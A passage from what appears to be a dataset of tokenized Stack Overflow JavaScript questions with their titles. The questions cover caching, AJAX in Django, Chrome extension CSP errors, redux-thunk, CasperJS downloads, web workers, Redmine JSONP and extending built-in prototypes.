and I have a cache holding for ranges 0-29 . Then the user asks for a view of data for range 60-69 . The way it currently works , I 'll ask the server for data and get it back and present it fine . But now the cache rangeLow and rangeHigh run from 0-69 while it only actually holds data for ranges 0-29 and 60-69 . Items with properties ranging 30-59 are not in the cache and will never be retrieved.What ( better , efficient ) mechanism or algorithm can I use to store cached information and determine whether my current displayed range is in the cache ? Thanks very much , Jim var cache , haveCache , read ; cache = { rangeLow : 0 , rangeHigh : 10 , data : [ //whatever has been read so far between current low and high { low : 1 , high : 3 , // ... other props } , { low : 5 , high : 6 , // ... other props } , // ... ] } ; haveCache = function ( low , high ) { return ! ( low < cache.rangeLow || high > cache.rangeHigh ) ; } ; read = function ( low , high ) { var data ; if ( ! haveCache ( low , high ) ) { //go to outside source and read in info , then merge to cache // // when merging to cache : // if ` low ` param is lower than ` cache.rangeLow ` , overwrite cache.rangeLow with ` low ` // if ` high ` param is higher than ` cache.rangeHigh ` , overwrite ` cache.rangeHigh ` with ` high ` } //read data from cache return data ; } ;",How to cache data in JavaScript for non-sequential shifting range ? "JS : I 'm a Ruby/Rails developer now working at a Python/Django shop . I 've started to warm up to Python , however , I 'm still struggling to find Django comparable to Rails in certain aspects I find important . A lot of my current and future work will focus on making AJAX requests to our API . As a Rails developer , I 'd have used unobtrusive javascript and in particular on form submissions added a data-remote tag , as shown below.I 'd then write a method in the controller to handle the request and would have written a JavaScript/jQuery function using event delegation in a JS file located in the /assets/js directory to handle the response on the client-side . I assumed coming over to Django there would be a similar way of implementing this sort of functionality.What I guess I 'm really trying to say is I assumed Django would offer similar `` magic '' to Rails in terms of not having to write out jQuery AJAX functions every time I wanted to make an AJAX request . I wrote a rough comparison ( very rough ) of how I 'd write both of these out . I 'm looking to learn if this is an incorrect approach to what I would do in Rails in Django . I know StackOverflow is n't meant for opinions , but I think breaking principles that apply no matter what language/framework you 're using , i.e . DRYing up code by not writing out AJAX functions over and over , is n't really going against an opinion , its more like breaking an accepted rule.My current approach to working with AJAX requests in Django feels wrong , or maybe I 'm just used to the `` magic '' Rails offers via the data-remote= '' true '' attribute . Would love some guidance on the topic to help me determine a solid approach , thanks . RAILSviews/some_controller/form.html.erbassets/javascripts/some_model.jscontrollers/some_controller.rbDJANGOsome_app/templates/form.htmlsome_app/static/assets/js/some_app.js < form action= '' < % = endpoint % > '' method= '' post '' data-remote= '' true '' id= '' form '' > FORM FIELDS HERE < /form > $ ( 'body ' ) .on ( 'ajax : success ' , ' # form ' , function ( event , data ) { DO SOME STUFF HERE } ) ; def some_ajax_action if request.xhr ? THIS IS AN AJAX REQUEST RENDER A VIEW PARTIAL & MANIPULATE THE DOM WITH JS OR RESPOND WITH JSON else THIS ISNT AN AJAX REQUEST endend < form action= '' { % url 'app : view ' % } '' method= '' post '' id= '' form '' > FORM FIELDS HERE OR { { BUILD_FORM_FROM_CONTEXT } } < /form > $ ( `` # form '' ) .on ( `` submit '' , function ( event ) { $ .ajax ( { type : `` POST '' , beforeSend : function ( request ) { request.setRequestHeader ( `` X-CSRFToken '' , csrftoken ) ; } , data : data , url : `` endpoint '' , dataType : 'json ' , contentType : 'application/json ' , } ) .done ( function ( data ) { cb ( null , data ) } ) .fail ( function ( data ) { cb ( data ) } ) .always ( function ( data ) { cb ( data ) } ) } ) ; } ) ;",Is there an idiomatic approach in Django for writing unobtrusive JavaScript and/or making AJAX form submissions ? "JS : My site is set up in the following way:4 user groups . Each user group can see different information . An example would be stock quantity for a store . So the user from London ca n't see the stock availability for Manchester . This information is taken from the database for EACH item in stock . So if you have a list of 20 items , their individual values will be displayed.I would like to do the following : If I , or anyone I give permission to , hovers over the `` In Stock '' column for their own store , a tooltip table must appear showing the current stock levels for the 3 other stores , for each individual product . So if I hover over item SKU-001 , I will only see the stock availability for that item . I had an issue where it was displaying the whole list for each item . I was thinking of this : Here is some code I wrote : However , for some reason this is not working . I have not found a way to include a tooltip . All the stock values are there for each individual item , so I just need to find a way to add the 3 values for the other stores and display them in a table format via a tooltip . That would be ideal . So basically the tooltip should show the 3 values of the stores which are currently not on display , as the other 3 values are hidden . The user can only see their store 's stock levels . But I would like to include this for myself as it would make it easier to view stock levels across the board . < table > < tr > < th > Store1 > < /th > < th > Store2 > < /th > < th > Store3 > < /th > < th > Store4 > < /th > < /tr > < ? php foreach ( $ this- > products as $ product ) { ? > < tr > < td id= '' stock1 '' title= '' myFunction '' > Stock of Item 1st store < /td > *If I hover/mouseover here , another table must appear showing only store name and values of `` # stock2 , # stock3 and # stock4* for the stock item I am hovering on. < td id= '' stock2 '' > Stock of Item 2nd store < /td > < td id= '' stock3 '' > Stock of Item 3rd store < /td > < td id= '' stock4 '' > Stock of Item 4th store < /td > < /tr > < ? php } ? > < /table > function myFunction ( ) { var x = document.createElement ( `` TABLE '' ) ; x.setAttribute ( `` id '' , `` table10 '' ) ; document.body.appendChild ( x ) ; var y = document.createElement ( `` TR '' ) ; y.setAttribute ( `` id '' , `` myTr '' ) ; document.getElementById ( `` myTable '' ) .appendChild ( y ) ; var z = document.createElement ( `` TD '' ) ; var t = document.getElementByID ( `` riyadhbalance '' ) .value ( ) ; z.appendChild ( t ) ; document.getElementById ( `` myTr '' ) .appendChild ( z ) ;",Tooltip showing hidden values in table format on hover "JS : I am using this plugin called transit.js to create a simple menu animation and basically I have the following menu , see below : The code for the open and close of the menu is as follows : DEMO HERE , ( I am sorry , the fiddle just does n't recreate this issue . ) BUG : As you can see on close there is no animation , the menu goes away , now this bug occurs when the page is scrolled more than 200px+ and below 992px width , so basically when you click on the hamburger , the menu opens with a rotate animation but when you click the hamburger again the menu sometimes does n't close even though the 'show ' class has been removed form the menu.This is one of these bugs that is just beyond me , inspecting in the console and going through the JS code has just not really helped . I would really appreciate if anyone can point out what I am doing wrong here , as the JS and CSS really seems to be perfect but the css transforms using transit is just not working as expected . $ ( '.main-header .nav-toggle-button ' ) .on ( 'click ' , function ( ) { // $ ( '.main-header .navigation ' ) .toggleClass ( 'show ' ) ; if ( $ ( '.main-header .navigation ' ) .hasClass ( 'show ' ) ) { $ ( '.main-header .navigation ' ) .stop ( ) .removeClass ( 'show ' ) ; return false ; } $ ( '.main-header .navigation ' ) .stop ( ) .transition ( { perspective : '1000px ' , rotateY : '180deg ' , duration : 0 } , function ( ) { $ ( this ) .addClass ( 'show ' ) .stop ( ) .transition ( { rotateY : ' 0 ' } ) ; } ) ; return false ; } ) ;","CSS-3 Transform bug , menu appearing stuck" JS : I 'm trying to get Firebase data of the last 24 hours . Actually I have this query : How I can do that ? var ref = firebase.database ( ) .ref ( ) .child ( `` datos '' ) .child ( `` pedidos '' ) .child ( `` nuevos '' ) ;,Getting Firebase data of last 24 hours "JS : My Chrome extension , when the popup is inspected , shows the following errors : Refused to load the script 'https : //www.googletagmanager.com/gtag/js ? id=UA-141660993-1 ' because it violates the following Content Security Policy directive : `` script-src 'self ' https : //ssl.google-analytics.com '' . Note that 'script-src-elem ' was not explicitly set , so 'script-src ' is used as a fallback.and popup.html:24 Refused to execute inline script because it violates the following Content Security Policy directive : `` script-src 'self ' https : //ssl.google-analytics.com '' . Either the 'unsafe-inline ' keyword , a hash ( 'sha256-Vkhz36sQYUkOwiax3AeAWs1RWzXHB9cwliq07KbR/fI= ' ) , or a nonce ( 'nonce- ... ' ) is required to enable inline execution.I copied this tutorial code into their corresponding files ( manifest.json , popup.html , and popup.js ) . They are part of a create-react-app and are contained in the same directory . This extension makes use of Google Analytics to track the usage of different buttons . When the popup is inspected , it is supposed to reveal statistics on how often buttons get clicked . Instead , these two errors appear . The popup displays properly , but the tracking functionality does not work.According to the tutorial , adding the following line within manifest.json is supposed to override security issues that block the extension from working : However , this does not seem to be working for me . The code is copied word for word ( except that my Google Analytics tracking Id in line 8 of popup.js and line 29 in popup.html is specific to me ) , so I 'm not sure where the problem is . I 'm including a link to the original code ( for my version , I got rid of the reference to icons because the images they used were not downloadable : https : //chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/docs/examples/tutorials/analytics/Here , also , is a link to the Google Analytics extension tutorial in case it 's helpful , though I do n't imagine reading through it will necessarily help anyone see the problem : https : //developer.chrome.com/extensions/tut_analyticsHere is my code in its entirety : manifest.json : popup.html : popup.js : My understanding is limited , as I 'm new to this subject ; however , I rely on this tutorial code working correctly so I can go through and study it . If anyone has a clue as to why I 'm seeing these errors upon inspecting the popup of this extension , I 'd really appreciate hearing your thoughts . Thank you very much in advance , and please let me know if further detail is needed . content_security_policy '' : `` script-src 'self ' https : //ssl.google-analytics.com ; object-src 'self ' { `` name '' : `` Event Tracking with Google Analytics '' , `` version '' : `` 2.0.0 '' , `` description '' : `` A sample extension which uses Google Analytics to track usage . `` , `` browser_action '' : { `` default_title '' : `` Open the popup '' , `` default_popup '' : `` popup.html '' } , `` manifest_version '' : 2 , `` content_security_policy '' : `` script-src 'self ' https : //ssl.google-analytics.com ; object-src 'self ' '' } < ! DOCTYPE html > < ! -- * Copyright ( c ) 2012 The Chromium Authors . All rights reserved . Use of this * source code is governed by a BSD-style license that can be found in the * LICENSE file. -- > < html > < head > < style > body { width : 300px ; color : # 000 ; font-family : Arial ; } # output { color : # d00 ; text-align : center ; } < /style > < script src= '' popup.js '' > < /script > < /head > < body > < h1 > Popup < /h1 > < p > Track the following actions : < /p > < button id='button1 ' > Button 1 < /button > < button id='button2 ' > Button 2 < /button > < button id='button3 ' > Button 3 < /button > < button id='button4 ' > Button 4 < /button > < button id='button5 ' > Button 5 < /button > < button id='button6 ' > Button 6 < /button > < /body > < /html > var _AnalyticsCode = 'UA-141660993-1 ' ; var _gaq = _gaq || [ ] ; _gaq.push ( [ '_setAccount ' , _AnalyticsCode ] ) ; _gaq.push ( [ '_trackPageview ' ] ) ; ( function ( ) { var ga = document.createElement ( 'script ' ) ; ga.type = 'text/javascript ' ; ga.async = true ; ga.src = 'https : //ssl.google-analytics.com/ga.js ' ; var s = document.getElementsByTagName ( 'script ' ) [ 0 ] ; s.parentNode.insertBefore ( ga , s ) ; } ) ( ) ; function trackButtonClick ( e ) { _gaq.push ( [ '_trackEvent ' , e.target.id , 'clicked ' ] ) ; } document.addEventListener ( 'DOMContentLoaded ' , function ( ) { var buttons = document.querySelectorAll ( 'button ' ) ; for ( var i = 0 ; i < buttons.length ; i++ ) { buttons [ i ] .addEventListener ( 'click ' , trackButtonClick ) ; } } ) ;",Why are scripts refusing to load in Google Analytics Chrome extension when I included the recommended security override ? "JS : I have been working on two column website , whereby when you scroll : column A goes up and column B goes down . I implemented an infinite scroll but what I am wondering is : is it possible to clone/append one column onto the other e.g . at a certain length of scrolling : Once scrolled out of view : Column A boxes will move onto the end of column BColumn B boxes will move onto the end of column ATechnically still infinite but looping the boxes from column to column - spilling one into the other and back again.Is this approach bad , or , is it better to just use endless scroll on each column ? What is tripping me up , as I am new to JS and jQuery , is the logic , and what is the best approach to achieve this . *Image just for example , the amount of boxes could be a lot higher e.g . 10 in each column.My code so far : http : //jsfiddle.net/djsbaker/vqUq7/1/My current attempt at clone/append : var ele = document.getElementById ( `` box '' ) ; var arr = jQuery.makeArray ( ele ) ; var data = ( ele ) [ 0 ] ; $ ( window ) .scroll ( function ( ) { if ( $ ( window ) .scrollTop ( ) > = 1000 ) { $ ( data ) .clone ( ) .appendTo ( 'body ' ) ; } else { .. } } ) ;",Infinite looping columns in both directions "JS : I have a list which serves as a menu . Every time user clicks on one of the elements in the list , I want a more detailed div to slide in from left to right . So if the user was to click menu item A first , A slides from left to right . If the user then clicks B , A slides out from right to left ( disappears off screen ) and B slides in . I searched for this problem and found this post . I incorporated the code from the jsfiddle , but it did n't work . No errors are being shown in the js log in Chrome debugging tool . Nothing happens when I click any item from the menu . What am I doing wrong ? Update1 : @ user5325596 pointed out that my display property for the detail div was set to none , so I fixed that by adding the following : right after $ ( '.common ' ) .hide ( ) . Now , I can see the detail div when I click on the menu item , but it does not animate.Update2 : I have uploaded a jsFiddle , it includes the jquery animation that I am successfully using ( fadeIn , which is commented out ) , as well as the code suggested by elchininet . < div class= '' project '' > < ul id= '' project_menu '' class= '' project_menu '' > < li id= '' menu-php-mysql '' data-projectID= '' php-project '' > PHP/MySQL < /li > < li id= '' menu-nodejs '' data-projectID= '' node-project '' > NodeJS < /li > < ! -- more code -- > < /ul > < div class= '' project-detail '' > < div id= '' php-project '' > < i class= '' ion-ios-close-empty close-icon js-close-icon '' > < /i > < div classs= '' project-text '' > < ! -- data about project -- > < /div > < /div > < div id= '' node-project '' > < i class= '' ion-ios-close-empty close-icon js-close-icon '' > < /i > < div classs= '' project-text '' > < ! -- data about project -- > < /div > < /div > < ! -- and so on.. -- > # php-project { background-color : # 9b59b6 ; margin : 30px ; display : none ; } $ ( document ) .ready ( function ( ) { itemsToRender = [ ] ; $ ( 'ul # project_menu li ' ) .click ( function ( e ) { menuItemId = ( e.currentTarget.id ) ; $ ( '.common ' ) .hide ( ) ; $ ( getProjectId ( menuItemId ) ) .css ( 'display ' , 'inline ' ) ; var value = $ ( getProjectId ( menuItemId ) ) .css ( 'right ' ) === '100px ' ? '-100px ' : '100px ' ; $ ( getProjectId ( menuItemId ) ) .animate ( { right : value } , 800 ) ; } ) ; } ) ; function getProjectId ( menuItemId ) { if ( menuItemId.indexOf ( 'php ' ) > 0 ) { return ' # php-project ' ; } else if ( menuItemId.indexOf ( 'node ' ) > 0 ) { return ' # node-project ' ; } else if ( menuItemId.indexOf ( 'angular ' ) > 0 ) { return ' # angular-project ' ; } else if ( menuItemId.indexOf ( 'mean ' ) > 0 ) { return ' # mean-project ' ; } } $ ( getProjectId ( menuItemId ) ) .css ( 'display ' , 'inline-block ' ) ;",Unable to get div to animate from left to right in jQuery "JS : I 'm building a react app and use redux-thunk for async operations . I have two functions getActivities ( ) and createActivity ( ) and I want to call the former after successful calling the latter . But if I put getActivities ( ) inside then block of createActivity ( ) it simply is n't get called ( which is proved by not seeing console.log ( ) which I put in getActivities ( ) ) . Here are both functions : How can I call one inside another ? export const getActivities = ( ) = > dispatch = > { console.log ( 'again ' ) ; return axios.get ( ENV.stravaAPI.athleteActivitiesBaseEndPoint , autHeaders ) .then ( resp = > { dispatch ( { type : actions.GET_ACTIVITIES , activities : resp.data } ) } ) .catch ( err = > { if ( window.DEBUG ) console.log ( err ) ; } ) } ; export const createActivity = data = > dispatch = > { dispatch ( setLoadingElement ( 'activityForm ' ) ) ; return axios.post ( URL , null , autHeaders ) .then ( resp = > { if ( resp.status === 201 ) { dispatch ( emptyModal ( ) ) ; } // I WANT TO CALL getActivities ( ) HERE dispatch ( unsetLoadingElement ( 'activityForm ' ) ) ; } ) .catch ( err = > { if ( window.DEBUG ) console.log ( err.response.data.errors ) ; dispatch ( unsetLoadingElement ( 'activityForm ' ) ) ; } ) ; } ;",Calling one async function inside another in redux-thunk "JS : I want to donwload a csv file by using Caperjs.This is what I wrote : And I got nyse.csv , but the file was a HTML file for registration of the web site.It seems login process fails . How can I login correctly and save the csv file ? 2015/05/13Following @ Darren 's help , I wrote like this : And this code ends up with error Wait timeout of 5000ms expired , exiting..As far as I understand the error means that the CSS selector could n't find the element . How can I find a way to fix this problem ? Update at 2015/05/18I wrote like this : I checked timeout.html by Chrome Developer tools and Firebugs , and I confirmed several times that there is the input element.How can I fix this problem ? I already spent several hours for this issue.Update 2015/05/19Thanks for Darren , Urarist and Artjom I could remove the time out error , but there is still another error.Downloaded CSV file was still registration html file , so I rewrote the code like this to find out the cause of error : In the logined.html user email was filled correctly , but password is not filled . Is there anyone who have guess for the cause of this ? var login_id = `` my_user_id '' ; var login_password = `` my_password '' ; var casper = require ( 'casper ' ) .create ( ) ; casper.userAgent ( 'Mozilla/5.0 ( Macintosh ; Intel Mac OS X 10_9_4 ) AppleWebKit/537.36 ( KHTML , like Gecko ) Chrome/27.0.1453.116 Safari/537.36 ' ) ; casper.start ( `` http : //eoddata.com/symbols.aspx '' , function ( ) { this.evaluate ( function ( id , password ) { document.getElementById ( 'tl00_cph1_ls1_txtEmail ' ) .value = id ; document.getElementById ( 'ctl00_cph1_ls1_txtPassword ' ) .value = password ; document.getElementById ( 'ctl00_cph1_ls1_btnLogin ' ) .submit ( ) ; } , login_id , login_password ) ; } ) ; casper.then ( function ( ) { this.wait ( 3000 , function ( ) { this.echo ( `` Wating ... '' ) ; } ) ; } ) ; casper.then ( function ( ) { this.download ( `` http : //eoddata.com/Data/symbollist.aspx ? e=NYSE '' , '' nyse.csv '' ) ; } ) ; casper.run ( ) ; casper.start ( `` http : //eoddata.com/symbols.aspx '' ) ; casper.waitForSelector ( `` form input [ name = ctl00 $ cph1 $ ls1 $ txtEmail ] '' , function ( ) { this.fillSelectors ( 'form ' , { 'input [ name = ctl00 $ cph1 $ ls1 $ txtEmail ] ' : login_id , 'input [ name = ctl00 $ cph1 $ ls1 $ txtPassword ] ' : login_password , } , true ) ; } ) ; casper.waitForSelector ( `` form input [ name = ctl00 $ cph1 $ ls1 $ txtEmail ] '' , function ( ) { this.fillSelectors ( 'form ' , { 'input [ name = ctl00 $ cph1 $ ls1 $ txtEmail ] ' : login_id , 'input [ name = ctl00 $ cph1 $ ls1 $ txtPassword ] ' : login_password , } , true ) ; } , function ( ) { fs.write ( `` timeout.html '' , this.getHTML ( ) , `` w '' ) ; casper.capture ( `` timeout.png '' ) ; } ) ; < input name= '' ctl00 $ cph1 $ ls1 $ txtEmail '' id= '' ctl00_cph1_ls1_txtEmail '' style= '' width:140px ; '' type= '' text '' > casper.waitForSelector ( `` form input [ name ='ctl00 $ cph1 $ ls1 $ txtEmail ' ] '' , function ( ) { this.fillSelectors ( 'form ' , { `` input [ name ='ctl00 $ cph1 $ ls1 $ txtEmail ' ] '' : login_id , `` input [ name ='ctl00 $ cph1 $ ls1 $ txtPassword ' ] '' : login_password , } , true ) ; } ) ; /* , function ( ) { fs.write ( `` timeout.html '' , this.getHTML ( ) , `` w '' ) ; casper.capture ( `` timeout.png '' ) ; } ) ; */casper.then ( function ( ) { fs.write ( `` logined.html '' , this.getHTML ( ) , `` w '' ) ; } ) ;",How to download a csv file after login by using Casperjs "JS : I wish to run an function ( in the background ) using a worker . The data comes from a http request . I am using a mock calculation ( e.data [ 0 ] * e.data [ 1 ] * xhrData.arr [ 3 ] ) ( replaced by a function returning the actual algo result ) as below : This works fine . But , this is a pure JS implementation . I was planning to use a service ( plus a shared worker ) for this so I create only one worker per angular app and dont have memory issues . This is going to be a trigger from a user button action of form submit.My question : First , I am wondering if this can be done by service workers in Angular itself since it is also a type of background worker thread.Second , If not possible then can I access the cache of service workers from web worker ? and Is it possible to access this service worker cache . How is this supposed to be done ? Any help is welcome.Note that I am able to work with service workers and I am able to cache all static assets using angular service workers.Update : I was able to get some basic idea of enabling data cache in the angular app using following config which I am currently working on.Update : I was able to get this up and running in a crude but it worked . Added the asset that needed the XHR request into the ngsw-config.json in the assets section . This cached the request into service worker cache . The service workers cache can be opened using caches.open ( 'ngsw : db : $ { name } ' ) but I did not have to do that.Here is how I achieved that . I created a service in angular for the service worker : Then I created a web-worker.js file in the assets folder : My ngsw-config.json had assets section which cached assets/test.md : From the component , say for example , app.component.ts I triggered a postMessage ( ) This makes the web-worker.js trigger the XHR request . Though I was expecting I will have to use a cache access api my self , it was not so . The service worker automatically served the file from the cache ( Which is fantastic ) . However if there is a need to access the cache I found this can be done using the cache API here : https : //developer.mozilla.org/en-US/docs/Web/API/CacheI am sure things can be bettered and file structuring can be made cleaner as per best practices . If you find a better solution please leave an answer so it helps everyone . var ajax = function ( ) { var prom = new Promise ( function ( resolve , reject ) { if ( ! ! XMLHttpRequest ) { var xhttp = new XMLHttpRequest ( ) ; xhttp.onload = function ( ) { if ( this.readyState == 4 & & this.status == 200 ) { resolve ( JSON.parse ( this.responseText ) ) ; } } ; // Cache Logic - Will be adding logic to check cache // if test.json is in cache . // If it is then fetch res from cache // There will be multiple XHR requests in parallel , not one xhttp.open ( `` GET '' , `` test.json '' , true ) ; xhttp.send ( ) ; } } ) ; return prom ; } async function test ( e ) { var workerResult , xhrData ; try { xhrData = await ajax ( ) ; workerResult = ( e.data [ 0 ] * e.data [ 1 ] * xhrData.arr [ 3 ] ) ; postMessage ( { res : workerResult } ) ; } catch ( err ) { postMessage ( { err : 'Failed ' } ) ; } } onmessage = function ( e ) { test ( e ) ; } ; { `` name '' : `` someapi '' , `` urls '' : [ `` /someuri '' , `` /users '' ] , `` cacheConfig '' : { `` strategy '' : `` freshness '' , `` maxSize '' : 20 , `` maxAge '' : `` 1h '' , `` timeout '' : `` 5s '' } } I created a web worker file inside the assets folderThe XHR request was made in it . When a XHR was made the service worker automatically picked up the cacheSo I did not have to use any alternate methods of cache access.Sworkers was automatically served the XHR request from the cache . @ Injectable ( { providedIn : 'root ' } ) export class WebworkerService { myWorker : any ; constructor ( ) { this.myWorker = new Worker ( '/assets/web-worker.js ' ) ; this.myWorker.onmessage = function ( data ) { console.log ( data ) ; } } } var ajax = function ( ) { var prom = new Promise ( function ( resolve , reject ) { if ( ! ! XMLHttpRequest ) { var xhttp = new XMLHttpRequest ( ) ; xhttp.onload = function ( ) { if ( this.readyState == 4 & & this.status == 200 ) { resolve ( this.responseText ) ; } } ; xhttp.open ( `` GET '' , `` /assets/test.md '' , true ) ; xhttp.send ( ) ; } } ) ; return prom ; } async function test ( e ) { var workerResult , xhrData ; try { xhrData = await ajax ( ) ; workerResult = xhrData ; // Some calculation or activity here postMessage ( { res : workerResult } ) ; } catch ( err ) { postMessage ( { err : 'Failed ' } ) ; } } onmessage = function ( e ) { test ( e ) ; } ; { `` name '' : `` assets '' , `` installMode '' : `` lazy '' , `` updateMode '' : `` prefetch '' , `` resources '' : { `` files '' : [ `` /assets/** '' ] } } @ Component ( { selector : 'app-root ' , template : ` < h1 ( click ) = '' myHttp ( ) '' > Some Client Event < /h1 > ` , styleUrls : [ './app.component.css ' ] , providers : [ ] } ) export class AppComponent { constructor ( private _ww : WebworkerService ) { } myHttp ( ) { this._ww.myWorker.postMessage ( 'Test ' ) ; } }",Using Webworkers in angular app ( service worker cache access of data in angular-cli ) "JS : I 'm using handsontable js plugin . I want to use getCellMeta function in afterChange hook but not working.I when use function out afterChange hook , function is working . But not working in afterChange hook.Output console log i tried out afterChange ; Output console log use in afterChange ; How to get cell meta after change ? Thanks . var container = document.getElementById ( 't1 ' ) , options = document.querySelectorAll ( '.options input ' ) , table , hot ; hot = new Handsontable ( container , { autoWrapRow : true , startRows : 81 , startCols : 206 , autoColumnSize : true , stretchH : 'all ' , afterChange : function ( change , source ) { if ( source === 'loadData ' ) { return ; } var test = this.getCellMeta ( change [ 0 ] , change [ 1 ] ) ; // not working , not return `` id '' meta console.log ( test ) ; } } ) ; $ .ajax ( { url : 'path ' , type : 'GET ' , dataType : 'json ' , success : function ( res ) { var data = [ ] , row , pc = 0 ; for ( var i = 0 , ilen = hot.countRows ( ) ; i < ilen ; i++ ) { row = [ ] ; for ( var ii = 0 ; ii < hot.countCols ( ) ; ii++ ) { hot.setCellMeta ( i , ii , 'id ' , res [ pc ] .id ) ; row [ ii ] = res [ pc ] .price ; if ( pc < ( res.length-1 ) ) { pc++ ; } } data [ i ] = row ; } hot.loadData ( data ) ; } } ) ; var test = this.getCellMeta ( 0,0 ) ; // is working , return `` id '' metaconsole.log ( test ) ;",How to use getCellMeta in afterChange at Handsontable ? "JS : I am trying to consume Redmine API from an angularjs project.I ended up using jsonp in order to solve CORS problem.I receive 404 when calling this : But when I call the same url with Postman , it works.Why do I receive this 404 ? here is my console : Rest API and jsonp are both enabled in the admin- > setting- > auth I also tried : getting this : Also , when calling this : I get the same errorPlease consider that muser , mpasswd and myredmine are just examples . var url = 'http : //muser : mpasswd @ myredmine/issues.json ? callback=displayIssues ' ; $ http ( { method : 'JSONP ' , url : url } ) . success ( function ( data , status ) { console.log ( `` success '' ) ; console.log ( data ) ; } ) . error ( function ( data , status ) { console.log ( `` Error : `` + status ) ; } ) ; ... function displayIssues ( issues ) { console.log ( 'displayIssues ' ) ; ... } GET http : //muser : mpasswd @ myredmine/issues.json ? callback=displayIssues jsonpReq @ angular.js:8576 ( anonymous function ) @ angular.js:8420sendReq @ angular.js:8291serverRequest @ angular.js:8025wrappedCallback @ angular.js:11498wrappedCallback @ angular.js:11498 ( anonymous function ) @ angular.js:11584Scope. $ eval @ angular.js:12608Scope. $ digest @ angular.js:12420Scope. $ apply @ angular.js:12712 ( anonymous function ) @ angular.js:18980x.event.dispatch @ jquery-2.0.3.min.js:5y.handle @ jquery-2.0.3.min.js:5authentication.service.js:100 Error : 404 var url = 'http : //muser : mpasswd @ myredmine/redmine/issues.json & callback=JSON_CALLBACK ' ; $ http.jsonp ( url , { params : { callback : 'JSON_CALLBACK ' , format : 'json ' } } ) .success ( function ( data ) { console.log ( 'ok ' ) ; } ) .error ( function ( data ) { console.log ( 'error : ' + JSON.stringify ( data ) ) ; } ) ; GET http : //muser : mpasswd @ myredmine/issues.json & callback=angular.callbacks._0 ? callback=JSON_CALLBACK & format=json jsonpReq @ angular.js:8576 ( anonymous function ) @ angular.js:8420sendReq @ angular.js:8291serverRequest @ angular.js:8025wrappedCallback @ angular.js:11498wrappedCallback @ angular.js:11498 ( anonymous function ) @ angular.js:11584Scope. $ eval @ angular.js:12608Scope. $ digest @ angular.js:12420Scope. $ apply @ angular.js:12712 ( anonymous function ) @ angular.js:18980x.event.dispatch @ jquery-2.0.3.min.js:5y.handle @ jquery-2.0.3.min.js:5services.js:35 error : undefined var url = 'http : //muser : mpasswd @ myredmine/redmine/issues.json & callback=JSON_CALLBACK ' ; $ http.jsonp ( url ) .success ( function ( data ) { console.log ( 'success ' ) ; } ) .error ( function ( error ) { console.log ( 'error : : ' + error ) ; } ) ;",jsonp getting 404 when calling Redmine API "JS : The history.back ( ) function is supposed to take me back one step in the history created using HTML5 history API . The following code works as expected in Firefox but does not in Chrome : In Chrome , it prints /second both times , whereas after going back it should print /home . Am I missing something ? < html > < script type= '' text/javascript '' > history.replaceState ( { path : '/home ' } , `` , ' ? page=home ' ) ; history.pushState ( { path : '/second ' } , `` , ' ? page=second ' ) ; console.log ( history.state.path ) ; // says `` /second '' history.back ( ) ; console.log ( history.state.path ) ; // says `` /second '' but should say `` /home '' < /script > < /html >",history.back ( ) does n't work with HTML5 history API as expected in Chrome "JS : I 'm using Redux Toolkit to connect to an API with Axios.I 'm using the following code : axios is connecting to the API because the commented line to print to the console is showing me the data . However , the state.products.concat ( response.data.products ) ; is throwing the following error : TypeError : Can not perform 'get ' on a proxy that has been revokedIs there any way to fix this problem ? const products = createSlice ( { name : `` products '' , initialState : { products [ ] } , reducers : { reducer2 : state = > { axios .get ( 'myurl ' ) .then ( response = > { //console.log ( response.data.products ) ; state.products.concat ( response.data.products ) ; } ) } } } ) ;",Redux Toolkit and Axios "JS : I have the following JS object : And I need to execute this SQL query on above-mentioned object : Result should be : because only that group contains the both ids using in query.I found information about SQLike and JSLINQ but I have encountered problems with where in and having expressions . Is there any possibility to execute such query on javascript object using SQL-JS libraries or JS/jQuery itself ( writing function etc . ) ? var groups = [ { id= '' 4 '' , name= '' abcd '' , id_group= '' 1 '' } , { id= '' 5 '' , name= '' efgh '' , id_group= '' 1 '' } , { id= '' 6 '' , name= '' ijkl '' , id_group= '' 1 '' } , { id= '' 4 '' , name= '' abcd '' , id_group= '' 2 '' } , { id= '' 7 '' , name= '' mnop '' , id_group= '' 2 '' } ] select id_group from groups where id in ( 4,7 ) group by id_group having count ( distinct id ) = 2 id_group= '' 2 ''",Complex SQL query on javascript object "JS : I am trying to inverse scroll two select controls . When I scroll down the first select the other one should scroll up . This is what I am currently doingto start the second select box from bottom I am doing thisbut it starts both selects from bottom.And my html isNOTEI am dynamically adding the optionsI can see the answers here but I want inverse scrolling . Please help me to proceed in right direction . //scroll first list if second list is scrolled $ ( `` # secondList '' ) .on ( `` scroll '' , function ( ) { //alert ( `` focused '' ) ; $ ( `` # firstList '' ) .scrollTop ( $ ( this ) .scrollTop ( ) ) ; } ) ; //scroll second list if first list is scrolled $ ( `` # firstList '' ) .on ( `` scroll '' , function ( ) { $ ( `` # secondList '' ) .scrollTop ( $ ( this ) .scrollTop ( ) ) ; } ) ; $ ( `` div # secondList '' ) .animate ( { scrollTop : $ ( `` # 2 '' ) .height ( ) } , `` slow '' ) ; < div class= '' container '' style= '' margin-top : 50px ; '' > < div id= '' 1 '' > < select name= '' color '' id= '' firstList '' size= '' 3 '' class= '' form-control '' > < /select > < /div > < div id= '' 2 '' > < select name= '' hex '' size= '' 3 '' id= '' secondList '' class= '' form-control '' style= '' margin-top : 50px ; '' > < /select > < /div > < /div > $ .getJSON ( `` ColorNameMap.json '' , function ( data ) { for ( var i = 0 , len = data.length ; i < len ; i++ ) { var color = data [ i ] .color ; var value = data [ i ] .value ; $ ( `` # firstList '' ) .append ( ' < option value= '' '+value+ ' '' > '+color+ ' < /option > ' ) ; $ ( `` # secondList '' ) .append ( ' < option value= '' '+color+ ' '' > '+value+ ' < /option > ' ) ; } } ) ;",inverse scroll two divs "JS : I 've read a few articles that suggest extending the built-in objects in JavaScript is a bad idea . Say for example I add a first function to Array ... Great , so now I can get the first element based on a predicate . But what happens when ECMAScript-20xx decides to add first to the spec , and implement it differently ? - well , all of a sudden , my code assumes a non-standard implementation , developers lose faith , etc.So then I decide to create my own type ... So now , I can pass an array into a new Enumerable , and call first on the Enumerable instance instead . Great ! I 've respected the ECMAScript-20xx spec , and I can still do what I want it to do.Then the ES20XX+1 spec is released which introduces an Enumerable type , which does n't even have a first method . What happens now ? The crux of this article boils down to this ; Just how bad is it to extend the built in types , and how can we avoid implementation collisions in future ? Note : The use of namespaces might be one way to deal with this , but then again , it is n't ! What happens when the ECMAScript spec introduces Collection ? Array.prototype.first = function ( fn ) { return 